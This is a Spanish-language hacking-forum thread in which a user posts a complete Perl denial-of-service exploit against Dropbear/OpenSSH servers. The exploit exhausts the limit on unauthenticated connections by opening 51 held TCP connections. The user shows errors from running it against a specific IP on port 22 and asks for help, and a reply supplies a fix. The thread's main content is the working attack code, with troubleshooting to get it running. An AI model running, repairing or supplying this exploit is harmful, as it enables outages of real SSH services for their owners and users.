elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
06 Octubre 2008, 20:19  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Problema con Exploit en Perl
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Problema con Exploit en Perl  (Leído 304 veces)
Zinc

Desconectado Desconectado

Mensajes: 2.117


. Security


Ver Perfil
Problema con Exploit en Perl
« en: 02 Diciembre 2006, 05:25 »

Tengo problemas al ejecutar este exploit en un cmd.
Este es el exploit:
Código:
#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
#        if (childpipes[j] < 0) {
#                break;
#        }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
#        /* no free connections */
#        /* TODO - possibly log, though this would be an easy way
#         * to fill logs/disk */
#        close(childsock);
#        continue;
# }
## /str0ke (milw0rm.com)

use IO::Socket;
use Thread;
use strict;

# thanks to Perl Underground for my moronic coding style fixes.
my ($serv, $port, $time) = @ARGV;

sub usage
{
print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
print "by /str0ke (milw0rm.com)\n";
print "Credits to Pablo Fernandez\n";
print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
exit ();
}

sub exploit
{
my ($serv, $port, $sleep) = @_;
my $sock = new IO::Socket::INET ( PeerAddr => $serv,
PeerPort => $port,
Proto => 'tcp',
);

die "Could not create socket: $!\n" unless $sock;
sleep $sleep;
close($sock);
}

sub thread {
print "Server: $serv\nPort: $port\nSeconds: $time\n";
for my $i ( 1 .. 51 ) {
print ".";
my $thr = new Thread \&exploit, $serv, $port, $time;
}
sleep $time; #detach wouldn't be good
}

if (@ARGV != 3){&usage;}else{&thread;}

# milw0rm.com [2006-03-10]

Este es el error:

Código:
C:\perl>perl exploit.pl 200.62.54.114 22 1
parse error in file exploit.pl at line 24, next 2 tokens "use IO"
parse error in file exploit.pl at line 42, next 2 tokens "my ("
Missing $ on loop variable at exploit.pl line 55.

Que pasara?.

Gracias.

Saludos!!
En línea

Viva el foro!
kanzix

Desconectado Desconectado

Mensajes: 20

{PHP && PERL}


Ver Perfil
Re: Problema con Exploit en Perl
« Respuesta #1 en: 02 Diciembre 2006, 19:18 »

cambia use IO::Socket;  en la linea 24 por use IO::Socket::INET;

salu2
« Última modificación: 02 Diciembre 2006, 19:20 por kanzix » En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats